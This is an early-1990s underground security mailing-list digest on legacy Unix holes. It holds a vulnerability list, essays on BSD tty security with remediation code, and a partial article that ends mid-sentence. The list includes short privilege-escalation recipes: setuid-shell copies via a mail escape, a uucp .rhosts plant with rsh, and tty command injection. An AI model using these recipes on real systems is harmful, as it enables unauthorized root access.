BoreD Security Digest Issue 4
BoreD Security Digest Issue 4
Toooo sexy for CORE
You're NOT dealing with AT&T!!!
The unix BoreD security mailing list is by invitation only and contains
sensitive material which SHOULD NOT BE REVEALED to non-members.
DO NOT PUT ANY LIST CONTENTS IN LOCATIONS ACCESSABLE TO NON-MEMBERS.
If you must keep copies on-line, please encrypt them at the very least.
PLEASE POST TO: infohax@stormking.com
PLEASE SEND EMERGENCY ALERTS TO: infohax-emergency@stormking.com
PLEASE SEND REQUESTS TO: infohax-request@stormking.com
SPECIAL TTY/PTY ISSUE
But, seriously. First things first. This newsletter does not
condone any action that is illegal (much less immoral). What you do in
your spare time is your business and not ours. Some of the material
presented here mabye unsuitable for readers under the influence of SS
control. However, this newsletter is too legit.
Next, the editorship has been changed to a compile-revision-revision-
release type format with one person doing each part (therefore in effect having
four editors). This is not a sole -I am gh0d and you are n0t- type digest.
The editorship is being shared.
Third, this is the fourth issue. These issues come out due to
member participation. So far we are doing great, 4 issues in 4 months. (well,
not as good as the original 1 issue per 2 week target but it isn't bad).
However, due to recent events, material has not flowed as clear as it should
and we need your thoughts/ideas/submissions more than ever. This is a special
TTY issue and more submissions for the next issue are needed. We hope to
put out another TTY/PTY issue in the next couple of issues ahead so we need
your tty/pty stuff!
Do not ship these issues to any one of your friends. Do not keep copies
online. Do not reveal the name of the project or any of its members. If
you do know of a potential member name him in here first by contacting one
of us.
-----------------------------------------------------------------------------
-Table of Comments for Issue 4-
1. Prelude/Comments
2. Table of Contents
3. Holes List 2 ....................................(hole2.lst)
4. TTY Comments ....................................(tty.comments)
5 TTY Partial Article .............................(tty.article)
6. blast.c .........................................4.cb.15.00
7. bugntrig.c ......................................4.cb.15.01
8. readtty.c .......................................4.cb.15.02
9. stufftty.c ......................................4.cb.15.03
10. tty-spy1: cover.c ...............................4.cb.15.04
11. tty-spy2: assorted ..............................4.cb.15.05
-----------------------------------------------------------------------------
==============================================================================
hole.list.2 hole.list.01 02/23/92
------------------------------------------------------------------------------
DATA:
=========
GENERAL
=========
1. Do not allow usernames to contain any of the following characters ";~!`"
(or any shell meta-charaters). This allows setuid root programs that
popen to be spoofed.
2. Never allow a setuid to root program to send a mail message that the user
creates to either the Berkeley mailer or mailx. All a user has to do
to break root is to send a line such as:
~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh
That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell
escape to be executed if the line starts in column one of stdout while
entering the message text.
3. Most security holes in UNIX are related to incorrect setting of directory
and file permissions or race conditions in the kernel that allow setuid
programs to be exploited. All non-standard setuid programs should be
examined.
4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can
break security relatively easily. MIT's PROJECT ATHENA came up with
Kerberos to address these problems, networks are usually very insecure.
5. The mount command should not be executeable by ordinary users. A setuid
program on a mountable disk is NOT TO BE TRUSTED.
6. Systems that allow read-only mounting of foriegn disk are a security
hole. Setuid programs are normally honored. This allows a person who
has root access on a foriegn machine to break it on another.
7. Expreserve can be a huge hole (see the following)
/dev/fb
the frame buffer devices on at least suns are world
readable/writeable, which is at best annoying (when
someone runs something strange on you) and at worst
insecure (since someone can take a snapshot of your screen
via screenload or whatnot)
/dev/*st*, *mt*, etc (tape devices)
generally world readable/writeable, bad since others can
nuke your tapes, read your backups, etc.
chfn, chsh
used to create a root account
core
will system dump a setgid core image?
domain name system
a sysadmin running the soa for a domain somewhere can
create a bugs reverse address mapping table for one of his
hosts that causes its IP address to have the domain name
of a machine that my host has in its hosts.equiv file. if
i'm using the usual version of 'istrusted' (I think that's
the routine's name), the address lookup reveals the name
of the host to be one that my host trusts, and this other
sysadmin can rlogin into my machine or rsh or whatnot at
will.
fchown
test for bad group test
ftruncate
can be used to change major/minor numbers on devices
fingerd
hard .plan links - reading unreadable files readable by
user(fingerd)
setuid, .plan links
running as root
(fingerd_test.sh)
buffer overrun
file mod test.
test of file does not loose the setuid bit when modified
ftp
ftpd
static passwd struct overwrite
4.2 based bug, userid not reset properly, (after logging
in enter comment "user root" and you are, last seen
onder SunOS 3.3?).
overwrite stack somehow?
hosts.equiv
default + entry
istrusted routine - easy to spoof by bad SOA at remote
site with hacked reverse address map.
lock
4.1bsd version had the password "hasta la vista" as a
builtin trapdoor. (found in ultrix)
lost+found, fsck
lost+found should be mode 700, else others might see
private files.
lpd
its possible to ovberwrite files with root authority with
user level access locally or remotely if you have local
root access
lpr
lpr -r access testing problem
lprm
trusts utmp
passwd
fgets use allows long entries which will be mangled into
::0:0::: entries
also allows:
fred:...:...:...:Fred ....Flintstone::/bin/sh =>
fred:...:...:...:Fred.....
Flintstone::/bin/sh
which is a root entry with no password!
fix - should skip to eol if it didn't read whole entry,
should enforce buffer limits on text in file, don't use
atoi (since atoi(/bin/sh) is 0).
portmap
allows other net entities to make bindings - may not be a
"security hole", can lead to denial of service.
rcp
nobody problem
rexd
existence
rwall,comsat
running as root, utmp world writeable, writes to files as
well as devices in utmp dev fields.
rdist - buffer overflow
selection_svc
allowed remote access to files
sendmail
debug option
wizard mode
TURN command
allows mail to be stolen
decode mail alias - anyone can send mail to decode, write
to any file onwed by daemon, if they can connect to
sendmail daemon, can write to any file owned by any user.
overflow input buffer
cause the sendmail deamon to lock up
overwrite files
sendmail can be "tricked" into delivering mail
into any file but those own my root.
-oQ (different Q)
fixed in newer versions
mqueue must not be mode 777!
what uid does |program run with?
sendmail -bt -C/usr/spool/mail/user - in old versions,
allows you to see all lines of the file.
setuid bit handling
setuid/setgid bit should be dropped if a file is modified
fix: kernel changes
setuid scripts
there are several problems with setuid scripts. is it
worth writing tests for these? some systems might have
fixed some of the holes - does anyone know how one fixes
these problems in a proactive fashion?
sh
IFS hole (used with vi, anything else?)
su
overwrite stack somehow?
tcp/ip
sequence number prediction makes host spoofing easier
source routing make host spoofing easier
rip allows one to capture traffic more easily
various icmp attacks possible
(I suspect a traceroute'd kernel will allow one to easily
dump packets onto the ethernet)
tftp
allows one to grab random files (eg, /etc/passwd).
fix - should do a chroot
allows puts as well as gets, no chroot
fix - don't run as root, use chroot, no puts, only if boot
server.
utmp
check to see if world writeable (if so, the data can't be
trusted, although some programs are written as though they
trust the data (comsat, rwalld)).
uucp
check if valid uucp accounts are in the /etc/ftpusers. If
the shell is uucico and passwd is valid make sure it is
listed in ftpusers.
check to see that uucp accounts have shell: if left off,
folks can do:
cat >x
myhost myname
^D
uucp x ~uucp/.rhosts
rsh myhost -l uucp sh -i
HDB nostrangers shell escape
HDB changing the owner of set uid/gid files
HDB meta escapes on the X command line
HDB ; breaks on the X line
uudecode
if it is setuid, some versions will create setuid files
ypbind
accepts ypset from anyone (can create own ypserv and data,
and ypset to it...)
ypserv spoofing
send lots of bogus replies to a request for root's passwd
entry, while doing something that would generate such a
request [I'm pretty sure that this is possible, but
haven't tried it.]
AIX
* password means use root's password?
AIX 2.2.1
shadow password file (/etc/security/passwd) world
writeable
fix - chmod 600...
386i login
fix - nuke logintool, hack on login with adb, chmod 2750
ultrix 3.0 login
login -P progname allows one to run random programs as root.
fix - chmod 2750.
xhost:
if access access control is disabled any one can connect to
a X display it is possible and create (forge) and/or
intercept keystrokes.
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
In the Crunch Act of 1992 the Supreme Court ruled that phones are against the
law. Use a phone. Go to jail. That's the law.
==============================================================================
tty.comments 4.ch.02.01 04/04/92
------------------------------------------------------------------------------
DATA:
BSD tty security, part 1: The Berkeley Experience
Three weeks ago Keith Bostic gave me an account on vangogh.berkeley.edu,
running one of the latest revisions of BSD 4.3-Reno, so that I could
test the system for tty bugs. (What a remarkable coincidence. :-) )
I have bad news, good news, and a quick summary of what Berkeley is
planning to do about tty security.
The bad news: The system allows any user to take over a session started
by script. Presumably this also applies to xterm, emacs, expect, et al.
``Take over'' means invisible writing, tty mode mangling, and TIOCSTI.
Modulo some races, it lets any user output any number of characters at
the beginning of another user's telnetd connection, and may allow more
access (I haven't tested this thoroughly). Furthermore, it lets any user
log any other user out, given preparation. There are several minor holes
which should not be serious problems and which I won't describe here.
The good news: BSD now has a revoke(filename) syscall which achieves
similar effects to the enforce() that has been proposed here before;
telnetd uses revoke() in a way that I believe guarantees the security of
the tty. This does not stop I/O before the revoke(), but Marc Teitelbaum
says (and I agree) that proper flushing and a bit more paranoia will
completely shield login sessions from attack. Unfortunately, revoke() is
not usable by unprivileged programs like script, so for most purposes
ptys are as insecure as they were in BSD 4.2.
Last-minute good news: Marc has found the bug that allowed the logout
problem. He will fix it.
What BSD plans to do in the future about tty security: Apparently 4.4
will have ``bstreams'', roughly equivalent to the other stream systems
in the world. ptys will be re-implemented as bstreams, so they will
(finally!) be dynamically allocatable. Hopefully everyone at Berkeley
will agree that ptys do not belong in the filesystem; the ones who know
this are working to convince those who aren't sure, or so I hear.
Given this radical reorganization, it appears that BSD 4.4 ttys will be
secure. If this is true, I withdraw my previous threat. (But see part 4
for further comments.)
In the meantime (i.e., until someone gets up the courage to implement
bstreams) I have outlined to Marc a reasonably simple plan for making
ttys completely secure without radically changing the kernel or system
applications. I hope he sees that the plan involves at most a couple of
hours of work, so that with luck secure ttys will make it into the next
interim BSD release. As my plan also applies to BSD 4.2 and 4.3 and
popular systems derived from them, I have included it here as part 3.
BSD tty security, part 2: The POSIX Perspective
[Warning: By the end of part 1 you may have thought I was in a good
mood. Sorry, but no more Mr. Nice Guy. I will return to sweetness,
charm, and light in part 3.]
One of the security holes mentioned in part 1 (any user being able to
log any other user out) was a deeply buried bug in Berkeley's
implementation of a new POSIX requirement. This is a good example of how
additional security channels (viz., POSIX sessions) make the system much
more fragile. One of the virtues of the original UNIX system was that
all security went through a single channel, namely the uid. Why can't we
stick to this model?
Popular BSD-derived POSIX systems like Ultrix 4.1, SunOS 4.1, and Convex
UNIX 9.0 are completely insecure: any user can take complete control of
any other user's session, with no privileges, no warning, no visible
effect if the attacker is careful, and no logs after the fact.
I asked Marc Teitelbaum how POSIX (particularly POSIX sessions) helped
tty security in the latest BSD 4.3. He pointed to revoke(), but revoke()
only helps security because it is applied at the *beginning* of a
session, and this is not required or even hinted at by POSIX. He
couldn't find another answer. I can still take full control of any
session begun by script or screen or emacs or expect.
As those of you involved with POSIX know, any process can send SIGCONT
to any other process in the same session, dodging all the restrictions
of normal security and job control. Believe it or not, SIGSTOP and
SIGCONT used to be a valuable synchronization technique, even for
privileged applications. Now they're useless. This can only be regarded
as a security hole.
Is it unreasonable to conclude that POSIX sessions do not help security?
That, in fact, they hurt security, by forcing changes upon a quite
fragile piece of the system?
It gets worse. In comp.unix.* we've seen repeated complaints that POSIX
breaks popular applications. No, I'm not even talking about pty. I'm
talking about screen, and expect, and emacs. These programs want to
control children running under a different terminal, but POSIX simply
doesn't acknowledge that people *want* cross-session job control. It
invented ``orphaned process groups''---yet another ``standard'' which
has never shown benefits and which breaks applications left and right.
Is it unreasonable to conclude that POSIX sessions are a problem?
I keep asking people what POSIX sessions do for users, or programmers,
or administrators, or system implementors. Nobody comes up with an
answer. ``They were meant to make job control secure,'' people say. So
why tf are they required even on systems not supporting the job control
option?
After all this I'm not even going to say POSIX sessions should be
abolished. All I want is for them to be made optional, like job control.
It really wouldn't be difficult---just change a couple of definitions
and put the equivalent of #ifdef SESSION around the dozens of additional
rules invented for POSIX sessions. Is this such a price to pay for
backward compatibility, extra security, and the chance to make POSIX
improve over the years as people figure out simpler job control models?
And doesn't it make sense that inventions in a standard should be
optional to begin with?
Let me close these comments with a personal remark: The next time I
report tty security holes to a vendor, if I hear ``We've fixed that,
we support POSIX,'' I'm probably going to do something violent. Maybe
it'll just be a symbolic burning of the latest POSIX 1003.1 in the
middle of Central Park, but I know it's gonna be violent. :-)
BSD tty security, part 3: How to Fix It
Here's one way to fix the BSD 4.[234] tty system, i.e., to provide some
strong guarantees that pty and tty sessions are safe and not subject to
corruption or denial of service, with minimal changes to the kernel and
to application programs. This is also meant to apply to systems derived
from BSD, such as SunOS, Ultrix, etc.
I've included quite a bit of sample code here, as well as evaluations of
what effect these changes will have on users and old programs. Thanks in
particular to Marc Teitelbaum for his extensive comments. The second
half of the article includes a bunch of optional recommendations that
may make your life easier but are not necessary for security.
Quick summary of kernel changes required: Make /dev/tty ioctls work on
/dev/tty??, make a /dev/stdtty driver which simply dup()s fd 3, and add
an ioctl, TIOCOPENCT, which returns the number of active references to a
given inode. That's it.
Quick summary of application changes required: Have certain programs do
an extra open() of the slave side to fd 3, move two device drivers, add
about fifteen lines of code (forty with complete error checks) to those
programs, add a new uid and group, make /dev/[pt]ty* world-inaccessible,
change chmod()s in those programs so that /dev/[pt]ty* remain
world-inaccessible, and make various programs setuid or setgid. That's
it.
1. Make all /dev/tty-specific ioctls work upon /dev/tty??. If the only
such ioctl is TIOCNOTTY, this is not necessary unless you want to
preserve the programmer's interface to detachment (which is probably
necessary). This may take some work. This step is safe, in that it will
not break working code.
2. Set up a /dev/stdtty driver that dup()s fd 3. This is tedious but not
difficult in principle. On systems with /dev/fd/3, all you have to do is
ln /dev/fd/3 /dev/stdtty. This step is safe.
3. Add an ioctl---I propose ioctl(fd,TIOCOPENCT,&x)---which *reliably*
sets x to the number of references to the *file* (not open file: I mean
file on disk, i.e., dev/inode pair, i.e., [igv]node) given by fd, or -1
if fd is not a disk file. Here ``reference'' means open file (i.e., the
thing in the file table). Under NFS I believe it is sufficient to report
v->v_count of the vnode. ``Reliably'' means that no matter what is going
on---swapped processes, locks of all sorts on the inode, file descriptor
passing, opening and closing---the returned information will be
absolutely correct starting from when ioctl() finishes and continuing as
long as no process opens or closes the file in question. This step is
safe.
4. Make sure that each of the tty-handling programs---getty, telnetd,
rlogind, script, etc.---opens /dev/ttyxx again in the master process and
leaves it open for use in #9 below. ``Master process'' means the process
in charge of the master side of the pty---telnetd, for instance. This is
easy:
int fdttyagain; /* global variable */
...
/* in the parent right after fork */
fdttyagain = open(line,O_RDWR);
if (fdttyagain == -1)
syslog(LOG_CRIT,"cannot open %s again: %m",line);
/* or whatever your favorite error reporting method is */
This step is safe.
5. Make a new uid, pty. Make each of the non-root tty-handling programs
(that means script, as well as programs like atty, mtty, pty, etc. if
you have them installed) setuid pty, and make sure they reset uids
before executing anything. Do not make pty the same as root, unless your
system handles MAXUPRC by effective userid (ugh)---in that case you
can't safely run anything setuid to any user but root, and you should
complain to your vendor. (The latter is true under, e.g. Ultrix 3.1.)
This step is safe, but will take some work if you have many non-root
tty-handling programs.
6. Change the root tty-handling programs (e.g., telnetd) so that they
reset ttys to owner pty mode 600 rather than owner root mode 666. This
step will break any user programs that allocate ttys dynamically and
that you didn't take care of in #5. It is safe otherwise.
7. Have each of the tty-handling programs---getty, telnetd, rlogind,
script, etc.---open file descriptor 3 to the tty. This is trivial:
{ /* after closing other descriptors, right before exec'ing the slave */
int fdtty;
fdtty = open(line,O_RDWR); /* line is, e.g., "/dev/ttyp7" */
if (fdtty == -1)
; /* XXX: complain to the user, or exit */
else if (fdtty != 3)
{
if (dup2(fdtty,3) == -1)
; /* XXX: complain to the user, or exit */
close(fdtty);
}
}
This step will break any old code that assumes the first open() will
return 3. (Such code is disgusting, but this is beside the point.)
8. ln /dev/tty /dev/oldtty; rm /dev/tty; ln /dev/stdtty /dev/tty;
chmod 600 /dev/oldtty. This is the first change that will affect users
directly. However, if you have done steps 1, 2, and 7 correctly, nobody
will notice. Marc comments that any programs which redirect or close fd
3 will be affected if they later use /dev/tty; he couldn't think offhand
of any such programs except ksh, which isn't installed on most BSD
machines. If you do find further examples of such programs or scripts,
please post the fixes here. An alternative is to use fd 11 instead of
fd 3 throughout these changes; this won't help ksh, but I've never seen
a script use fd 11.
9. In each of the tty-handling programs, do the following upon slave
exit: (a) Clean up everything except (if it is convenient) [uw]tmp.
Close 0, 1, 2, and any other random descriptors lying around, except
/dev/ptyxx and /dev/ttyxx. (b) Test /dev/ttyxx with TIOCOPEN*. If
someone else still has it open, continue to step (c); otherwise skip to
step (d). (c) Fork, and exit in the parent. Repeatedly test /dev/ttyxx
(a five-second sleep is fine) until it is closed. (d) Clean up [uw]tmp
and exit. Note that steps (b) and (c) can fit into a simple library
routine. Here's sample code, with paranoid error checking:
/* after cleaning up mostly everything */
if (fdttyagain != -1)
{
/* Assumption: /dev/ttyxx is back to mode 600 owner pty. */
int count;
close(0); close(1); close(2);
... /* close any other descriptors previously opened */
/* _except_ /dev/ptyxx (``fdpty'', perhaps) and fdttyagain */
(void) ioctl(fdttyagain,TIOCEXCL,(char *) 0);
/* entirely optional, but better safe than racing */
/* if TIOCOPENCT is not completely reliable */
if (ioctl(fdttyagain,TIOCOPENCT,&count) == -1)
syslog(LOG_CRIT,"cannot count open references to %s: %m",line);
/* or whatever your favorite error reporting method is */
else
if (count > 1)
{
syslog(LOG_INFO,"waiting on %s",line);
switch(fork())
{
case -1:
syslog(LOG_CRIT,"cannot fork to wait on %s: %m",line);
break;
case 0:
{
int i;
i = 0;
for (;;)
{
sleep(5);
if (ioctl(fdttyagain,TIOCOPENCT,&count) == -1)
syslog(LOG_CRIT,"weird: cannot count open references to %s: %m",line);
else
if (count == 1)
break;
++i;
if (!(i % 1000))
syslog(LOG_INFO,"waited %d secs on %s",i * 5,line);
/* XXX: If i gets large enough, you may want to take */
/* desperate measures at this point. Example: */
/* vhangup(); fcntl(fdpty,F_SETFL,FNDELAY); */
/* vhangup(); write(fdpty,"x",1); vhangup(); */
/* read(fdpty,"y",1); vhangup(); */
/* And then break. */
}
}
syslog(LOG_INFO,"done waiting on %s",line);
break;
default:
exit(0);
}
}
/* now finish cleaning up everything, and exit */
}
It doesn't really matter where the above code comes inside a cleanup
routine, as long as the tty already has the right modes. I think it's
aesthetically better to leave the utmp entry alone until the tty is
deallocated; but if this isn't convenient for some program, feel free to
ignore aesthetics and put the code right before exit().
Marc notes that this change will leave a pseudo-tty allocated to a user
as long as the user has a background process on the tty. Religious types
will say ``yes, that's how it should be.'' I say that at sites I'm
familiar with, this isn't a problem, because users don't run very many
background jobs, and there are more than enough pseudo-ttys. If this is
a problem for you, you will have to do step #20 below and educate your
users to detach background jobs, meanwhile killing any runaways. Sorry,
but this is the price you pay for security. You may prefer the
``desperate measures'' mentioned in the sample code to simply cut off
tty access after a few hours; any use of vhangup() is chock-full of race
conditions, but it would be exceedingly difficult for a process to make
it past all the races.
10. chown pty /dev/[pt]ty*; chmod 600 /dev/[pt]ty*. This is the big step.
Nonprivileged programs will no longer be able to open any ttys or ptys,
so nobody can deny service to other users without executing a privileged
program that will later show up in acct. Furthermore, the TIOCOPENCT
code guarantees that if a tty-handling program exits, absolutely nobody
is using that tty, so it is safe for immediate use by the next
tty-handling program. This throws a huge wrench into all the fundamental
tty security holes I know.
11. If you're using a Sun, make sure to chmod 600 /etc/utmp, or these
changes will go to waste. You may find it convenient to make certain
programs setgid or setuid here so that they can still write utmp, though
I consider this a mistake---you are bound to slip up when a hundred
different tools all manage one supposedly secure file. (But anything is
better than what Sun currently ships.)
12. Support the BSD 4.3 tty group model: make a new group, tty, chgrp
all /dev/tty* to it, and make ``talk'' and ``write'' setgid tty. Of
course, you don't need to do this if you already have the tty group.
It's possible to accomplish similar results with fewer changes. In fact,
my next version of pty will almost guarantee safety on stock BSD 4.2
systems with no kernel support except read access to /dev/kmem. (It is,
unfortunately, not possible to avoid race conditions from user code.)
You can, for example, place the burden of TIOCOPENCT checking upon the
program opening the tty, rather than the program closing it, so that
it's not a problem if one tty handler fails to do its job; but this
increases turnaround time for the users and allows denial-of-service
attacks. The above changes should be straightforward enough that halfway
solutions are not worthwhile.
(POSIX fans will note that using TIOCOPENCT to keep the tty allocated
past session leader exit *is* compliant: it only affects the secure BSD
exclusive lock on the master side, and does not prevent reassignment of
the slave tty to a new session---not that such a reassignment will ever
occur.)
Why must tty-handling programs be setuid rather than setgid? Because the
user must not be allowed to kill them---he would be able to retain tty
access that way.
There are many further changes you can make to eliminate minor security
holes or improve accounting. EVERYTHING BELOW THIS POINT IS COMPLETELY
OPTIONAL. Here are some of the most important:
13. Fix write. Many people don't appreciate how poor write's security
is; I quote from my pty paper's description of a write clone:
: Finally, write is a vastly improved clone. The old write had several big
: security holes: 1. Control characters were passed through. This version
: converts anything unprintable into a caret. 2. Lines were not
: distinctively marked. A user could manually simulate the ``EOT'' or
: ``EOF'' sequence, wait a few minutes, then start sending anything to the
: other tty without identification. This version precedes each line with
: the name of the sending user, and prints something more informative than
: EOT for an ended message. 3. write could be used to flood a terminal.
: (This is an accident waiting to happen.) This version puts a one-second
: pause between each line and restricts line length. 4. Originally, write
: would only check the protection on the tty being written to. But this
: meant that a user could be interrupted by someone hiding behind mesg n
: and have no recourse. (Footnote: Remember that UNIX has no enforce()
: call to enforce new permissions on an object. Setting mesg n does not
: stop a write in progress.) So many versions of write included
: ``revenge'': X was allowed to write to Y only if Y could write back.
: However, these versions tested tty protection only at the beginning of a
: message---which was useless. This version does the correct test: it
: simply checks write permission before sending each new line.
My write clone is public-domain, so I invite you---I beg you---to steal
code from it. Don't even give me any credit, just fix the bugs. Please.
14. Make script grok utmp and wtmp. (You may have to rethink certain
wtmp-based accounting schemes to do this.) Users constantly complain
that they can't ``talk'' within script, and the lack of accounting
is annoying. This doesn't matter under #18.
15. Change the chown() and fchown() system calls so that files can be
chowned between uid and euid. This opens up chown() for lots of secure
services without forcing the servers to run as root. In this case, it
lets script change the tty owner properly. This doesn't matter, though,
if you implement #16.
16. Don't even bother chowning ttys to the users who own them. (At this
point they might as well not be in the filesystem.) Yes, you can make
biff and mesg setuid pty, and no, nothing breaks except nroff's mesg n.
17. Make sure that telnetd, rlogind, etc. leave ttys with messages *off*
by default. Since UNIX has no way to enforce new access permissions on a
file, the usual default leaves all users open to instant attack. This is
a huge problem in the real world (at universities, at least), and while
there may be a sane argument for having messages on by default, it
cannot justify what amounts to unrestricted output to any and all ttys.
Finally, here are some optional changes that will make the above changes
much easier, or that will add basic features to your system. Do them
first and you'll never regret it.
18. Provide a program that spawns another program under a pseudo-tty,
handling I/O and job control transparently, and obeying all the rules
for tty handlers mentioned above. In fact, the program already exists by
the name of ``pty'' (see, e.g., comp.sources.unix volume 23), and its
author is quite willing to negotiate distribution terms. pty also
supports session management. (Isn't it embarrassing to explain UNIX to a
long-time VMS user? ``No, sorry, Bob, you can't get back to that shell
after your modem went on the fritz. The shell is gone.'' ``vi -r? Oh,
yeah, Bob, that means your connection got hung up.'' ``Nope, sorry, Bob,
you can't start recording a `talk' session without hanging up and
talking again.'' ``No, Bob. This is not VMS. Your process is stuck to
that terminal, right there. Yes, I understand, the terminal screen just
exploded, and you can't see your output. No, you cannot move to the next
terminal and continue work. Sorry, Bob, you're out of luck. Bye, Bob.'')
19. Rewrite all other tty handlers (it's easy---trust me) to invoke that
single, modular program. Don't you find it strange that a dozen programs
all have the same pty allocation code? Don't you find it unreasonable,
at least from a ``software engineering'' standpoint, that since people
are too lazy to do (e.g.) random tty searching every time they recopy
the same code, your average tty handler wastes several dozen open()s on
a big machine when it could use just two? In fact, I'll be glad to do
all the work of conversion for you, provided that you agree to make the
final version available for people to use.
20. Provide a program that detaches from its controlling tty and spawns
another program. The program is usually called ``detach'' and has no
options of note. It should also seek out and reopen("/dev/null") any
file descriptors pointing to any tty.
21. Delete /dev/oldtty and remove the /dev/tty driver from your kernel.
Also remove controlling ttys entirely. Also remove POSIX sessions if you
have them: make setsid() a no-op, and return an implementation-defined
error upon the pointless POSIX SIGCONT special case, and you even retain
POSIX compatibility if you had it. (Well, with one exception: POSIX
defines a foreground process in terms of its controlling terminal,
rather than the terminal it's trying to access as in BSD. Beg the POSIX
folks to make this rule optional---what do they lose?) Notice how much
extra space users get for running programs.
22. Make a stdio stream for stdtty, descriptor 3---after all, programs
do want to use it. Change csh and more to read from stdtty rather than
stderr. Someday you may even be able to open stderr write-only [gasp!].
23. Have accounting record the dev/inode pair on descriptor 3. In fact,
while you're making accounting work sensibly, record the pid, as well as
the dev/inode pair of the program run (if you can get that information).
24. Change getty to spawn the pty-handling program, and to disconnect
that session when it receives BREAK. Guess what? You've just set up a
trusted path.
Most of the recommendations here come from my pty paper, various drafts
of which have been available for many months. (TIOCOPEN* is new.) The
basic ideas come from Bellovin's ``Session Tty'' paper, which has been
available for years. If you get through all of the above and still want
to improve the tty system, you might get some further ideas out of those
papers. See pub/hier/pty/paper.9 on stealth.acf.nyu.edu and its
references for details.
BSD tty security, part 4: What You Can Look Forward To
To close this series of postings, I'd like to briefly survey the state
of tty security. I'm sorry I haven't been able to respond personally or
quickly to everyone's mail on this issue.
Just a few years ago I was exploring the depths of an old Ultrix system.
It didn't take a genius to notice the occasional background jobs gone
astray---obviously any user could affect any other user's tty, despite
vhangup(). Soon I had ``blip'', a reasonably powerful tty mode mangler
that could act both as a concise stty and as a tty security breaker.
With it I could write arbitrary text to anyone's tty, TIOCSTI terminal
input, change tty mode settings, send tty signals, and so on.
So I sent copies of the code and documentation to the sysadmin at that
site, and posted a 300-line analysis to comp.unix.wizards. As I recall,
there were three responses. One asked what I was talking about. One was
from the admin describing what I now know to be only a partial fix. One
was from Steve Bellovin referring me to his then-new Session Tty paper
for descriptions of a few of the bugs as well as a complete (but
complex) fix for System V which, to my knowledge, has never been
implemented.
blip still works on every BSD UNIX machine I can find. It is trivial to
adapt to POSIX. And it has, unfortunately, been spreading slowly around
the net under the name of ``factor.''
That's right. Every available BSD UNIX machine allows any user to write
or type arbitrary characters on the tty of another user. With good
timing the attacker can even make his attack invisible---the moment a
sysadmin types a root command, someone could be piggybacking a command
like cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh. And it gets worse.
How many people know how to exploit these bugs? Far too many, I'm sure,
but not enough to shock other admins into seeing the magnitude of this
problem. And this pales beside the examples set by vendors. I tell Sun
how insecure ttys are, and offer a bandaid: Sun tells me that POSIX
fixes everything, and refuses to admit that a bandaid is necessary.
Convex is finally waking up, but is still under the delusion that one
kernel kludge after another (from vhangup() to POSIX sessions and
beyond) will solve the fundamental problems of statically allocated,
world-usable ttys.
Berkeley is finally showing some interest in fixing the bugs, but it
will be years before vendors have picked up the changes, and several
years before the average machine on the net is safe. Sorry, but I'm not
going to wait that long. I am sick of constantly wondering whether my
users know enough to break security. I am sick of hearing that POSIX
fixes the problems. I am sick of seeing vendors blind themselves to such
a fundamental set of holes. You should be sick of it too.
So here's what I'm doing about it.
1. In part 3 of this series I outlined a reasonably simple set of fixes.
If you have a BSD-derived system where something in the plan doesn't
work, please post your comments here and we'll see what has to be done.
If you don't have source, and you want to be notified as soon as binary
patches are available, tell CERT your hardware type and OS version at
cert@cert.sei.cmu.edu.
2. I will dedicate some of my free time to working with vendors and
established authorities like CERT interested in tightening up tty
security.
3. So that programmers are insulated from these changes in the pty
subsystem, I commit myself to porting my pty manager to any platform I
have access to.
4. I will attempt to outline a minimal set of (optional) changes to the
POSIX standard to keep the standard from interfering with tty security.
I would be interested in hearing from POSIX committee members interested
in helping with this.
5. On or around October 29, 1992, I will publish a set of tiger programs
that test for and exploit the failures in BSD tty security that I have
described.
6. I will give further details on the security holes to anyone who
convinces me that he has a legitimate interest. That means I want a
verifiable chain of people and phone numbers from the contact for a
major network down to whoever wants the information, plus a better
excuse than ``I haven't read Bellovin's paper or your paper yet.''
If you simply want someone other than me to tell you that the holes
exist, ask bostic@okeeffe.berkeley.edu. (That's Keith Bostic, the guy in
charge of BSD; don't be surprised if he doesn't get to your message
immediately.) Please don't believe vendor assurances that the holes have
been fixed---they haven't.
I hope I've yelled enough about these bugs now. I hope that soon there
won't be anything to yell about.
------------------------------------------------------------------------------
Comments:
Q's:
Biblio: series of postings off UseNet
CrossRef:
Code/shRef:
==============================================================================
`Sex' is not the question. `Sex' is the answer. `Yes' is the question.
==============================================================================
TTY article 4.ch.03.01 05/03/92
------------------------------------------------------------------------------
DATA:
5. Some tty security holes
In this section we describe some of the most important security holes
related to ttys.
There are two types of ttys. Hardwired ttys, such as /dev/console, are
connected directly to lines outside the computer. Pseudo-ttys (ptys),
such as /dev/ttyp3, have device drivers that present a similar
interface, but any output to /dev/ttyp0 is presented as input to a
``master'' side /dev/ptyp3, and vice versa. /dev/ttyp0 is called the
``slave'' side of the pseudo-tty. Note that ptys are implemented very
differently in non-BSD systems.
Many tty security holes relate to the protection of ttys within the
filesystem. A tty is owned by the user whose shell is running under it.
This mistake is a SCINUP (footnote: Security Compromise Introduced in
the Name of User Power) that gives users many opportunities to make
mistakes. Its apparent advantage is that the user can open the tty from
other terminals; but this can be better done in other ways, and doesn't
outweigh the potential problem of a user changing his tty to
world-readable and world-writable.
The simplest form of user-to-user communication used to be (and still
is) the ``write'' program. One user would set the world-write bit on his
tty; another user would use ``write'' to send messages to the tty.
Unfortunately, this was also a huge hole: other users could just as
easily send unidentified mounds of trash onto the tty, or even apply
ioctls. (stty intr ' ' > /dev/ttyxx.)
This bug was ``fixed'' in BSD 4.3, and independently in certain other
systems. BSD 4.3 introduced a ``tty group,'' group 4. All ttys were set
to group tty. write and other communications programs were made setgid
tty. Finally, users would set the group-write bit rather than the
world-write bit to allow communications.
These changes still leave many holes open. The default state of a tty is
still ``messages on,'' so inexperienced users cannot prevent others from
bothering them. Arbitrary, perhaps damaging text can still be sent
through the talk and comsat daemons. The write program itself is still a
fruitful source of bugs, as described in a later section; in particular,
some versions pass descriptors for the other terminal through to a !
command. This leaves no protection at all.
The reader may wonder whether write access is so bad---the worst that a
program could do is set the terminal modes strangely. However, changing
the terminal's process group can destroy process control; setting flow
control and flushing output strategically can prevent detection; and
many (real) terminals accept a ``playback'' command that feeds stored
sequences back into the computer.
Furthermore, if there is a way to open a tty for writing, then there is
a way to open that tty for reading: if a detached process opens a tty in
any way, it will gain that tty as its control terminal, and can then
